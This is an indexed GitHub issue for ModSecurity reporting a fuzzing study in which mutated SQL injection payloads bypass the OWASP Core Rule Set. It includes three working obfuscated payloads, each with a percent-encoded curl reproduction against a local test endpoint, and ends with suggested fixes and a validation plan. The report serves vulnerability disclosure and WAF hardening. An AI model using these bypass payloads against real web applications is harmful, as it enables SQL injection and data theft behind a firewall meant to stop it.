owasp-modsecurity / owasp-modsecurity/ModSecurity
ModSecurity GET: SQLi bypass via scalar-expression and operator rewrites
Nobody has claimed this yet.
- Dominant language
- C++
- Stars
- 9.8k
- Forks
- 1.8k
- Avg merge
- 2h 46m
- Merged PRs (30d)
- 1
Description
[ModSecurity][GET] SQLi bypass via predicate/operator rewrites around scalar expressions and ordering predicates
Summary
- WAF:
ModSecurity - Request manner:
GET - Defect pattern: Predicate/operator rewrites around scalar expressions and ordering predicates.
- Evaluation scope:
623unique SQLi mutation attempts;357successful bypasses were observed in this manner. - In our log format,
1 => 0means the WAF decision changed from malicious/blocked to benign/allowed.
Environment
- WAF version:
3.0.6 - Notes: ModSecurity-nginx connector
v1.0.2; OWASP Core Rule Set3.3.2; OpenResty1.19.9.1.
Mutation Rules Involved
The study associates this pattern with the following concrete fuzzer rules:
- swap_int_repr: rewrites integer literals as equivalent hexadecimal values or
(SELECT n)expressions
Invisible-character Notation
The payload excerpts below render invisible characters explicitly so they can be reviewed and reproduced:
<TAB>= horizontal tab (\t, U+0009)<LF>= line feed (\n, U+000A)<CR>= carriage return (\r, U+000D)<FF>= form feed (\f, U+000C)<VT>= vertical tab (\v, U+000B)<NBSP>= non-breaking space (U+00A0)
Representative Successful Examples
Case 1
- Final decision change:
1 => 0 - Matching rationale: The transformed payload changes scalar predicates, boolean operators, or ordering predicates while preserving SQLi intent. Observable features: operator rewrite, scalar expression rewrite, lexical mutation.
- Original payload excerpt:
...1));select count(*) from domain.domains as t1,domain.columns as t2,domain.tables as t3 and ((8535=8535
- Transformed payload excerpt, with invisible characters rendered explicitly:
0x1));/*=j{`*//*\\A>n*/count(*) /*r*/ domain.domains/**//*ixuU8*//*9i*/t1,domain.columns/*Sa#<VT>h*//*!aS*//*1E*/t2,domain.tables/**//*!as*//**/t3/**//*!and*/ (('gD'<>'gDn' OR False
Minimal Reproduction
- Endpoint:
http://127.0.0.1:9000/waf - Method:
GET - Parameter name:
id - Transport encoding: the payload is percent-encoded in the query string.
- Expected behavior: the WAF blocks the request as SQL injection.
- Observed behavior in the evaluation: the transformed payload was allowed (
1 => 0).
curl -i 'http://127.0.0.1:9000/waf?id=0x1%29%29%3B%2F%2A%3Dj%7B%60%2A%2F%2F%2A%5CA%3En%2A%2Fcount%28%2A%29%20%2F%2Ar%2A%2F%20domain.domains%2F%2A%2A%2F%2F%2AixuU8%2A%2F%2F%2A9i%2A%2Ft1%2Cdomain.columns%2F%2ASa%23%0Bh%2A%2F%2F%2A%21aS%2A%2F%2F%2A1E%2A%2Ft2%2Cdomain.tables%2F%2A%2A%2F%2F%2A%21as%2A%2F%2F%2A%2A%2Ft3%2F%2A%2A%2F%2F%2A%21and%2A%2F%20%28%28%27gD%27%3C%3E%27gDn%27%20OR%20False'
Case 2
- Final decision change:
1 => 0 - Matching rationale: The transformed payload changes scalar predicates, boolean operators, or ordering predicates while preserving SQLi intent. Observable features: operator rewrite, scalar expression rewrite, lexical mutation.
- Original payload excerpt:
...n0xhnofy1' ) as mara where 7164 = 7164
- Transformed payload excerpt, with invisible characters rendered explicitly:
n0xhnofy1'<LF>)<TAB><LF>As/*#w*/mara<LF>WHeRE<VT>1479<>1480<TAB>oR<LF>False
Minimal Reproduction
- Endpoint:
http://127.0.0.1:9000/waf - Method:
GET - Parameter name:
id - Transport encoding: the payload is percent-encoded in the query string.
- Expected behavior: the WAF blocks the request as SQL injection.
- Observed behavior in the evaluation: the transformed payload was allowed (
1 => 0).
curl -i 'http://127.0.0.1:9000/waf?id=n0xhnofy1%27%0A%29%09%0AAs%2F%2A%23w%2A%2Fmara%0AWHeRE%0B1479%3C%3E1480%09oR%0AFalse'
Case 3
- Final decision change:
1 => 0 - Matching rationale: The transformed payload changes scalar predicates, boolean operators, or ordering predicates while preserving SQLi intent. Observable features: operator rewrite, scalar expression rewrite, lexical mutation.
- Original payload excerpt:
... select * from users where id = 1 or \\.<\\ or 1 = 1 -- 1
- Transformed payload excerpt, with invisible characters rendered explicitly:
/**/* FroMusers /*9#*/ id/**/ LiKE 1/**/oR<LF>\\.<\\ /*?~*/ 7119 LIKE 7119/**/OR False/**/-- 1'v
Minimal Reproduction
- Endpoint:
http://127.0.0.1:9000/waf - Method:
GET - Parameter name:
id - Transport encoding: the payload is percent-encoded in the query string.
- Expected behavior: the WAF blocks the request as SQL injection.
- Observed behavior in the evaluation: the transformed payload was allowed (
1 => 0).
curl -i 'http://127.0.0.1:9000/waf?id=%20%2F%2A%2A%2F%2A%20FroMusers%20%2F%2A9%23%2A%2F%20id%2F%2A%2A%2F%20LiKE%201%2F%2A%2A%2FoR%0A%5C.%3C%5C%20%2F%2A%3F~%2A%2F%207119%20LIKE%207119%2F%2A%2A%2FOR%20False%2F%2A%2A%2F--%201%27v'
Suggested Fixes
- Normalize SQL expressions before rule matching and detect semantically equivalent operators such as
LIKE,NOT LIKE,<>,&&, boolean invariants, and wrapped scalar expressions. - Add regression coverage for
ORDER BY <expr>and scalar-expression rewrites such as hexadecimal integers and(SELECT n)wrappers. - Add these transformed payloads as regression tests and assert that they remain blocked after the fix.
Validation Plan
- Replay the representative transformed payloads through the same request manner and confirm that the WAF still blocks them.
- Add negative tests with benign requests containing ordinary comments, whitespace, or JSON formatting to monitor false positives.
- Run the same canonicalization path across GET, GET(JSON), and POST to prevent request-manner-specific drift.
Contributor guide
No contributing guide indexed for this repository
First steps
- Read the whole issue, then the project's contributing guide.
- Comment on the issue to say you are picking it up — it saves two people doing the same work.
- Fork the repository and make your change on a branch.
- Open a pull request that references the issue number.
Research direction
Start by replaying the three percent-encoded curl reproductions against the GET /waf endpoint and trace the existing SQL expression canonicalization and rule-matching path. Add regression coverage for the transformed payloads, scalar and ORDER BY rewrites, and benign comments or whitespace; done means the malicious requests remain blocked across the stated request manners without false-positive regressions.
Written by the indexing model from the issue text.
Assessment
- Tech stack
- cpp
- Domain
- security
- Issue type
- Bug
- Difficulty
- 5/5
- Estimated time
- Over a week
- Activity status
- Quiet
- Clarity
- Mostly clear
- Newbie friendliness
- 42/100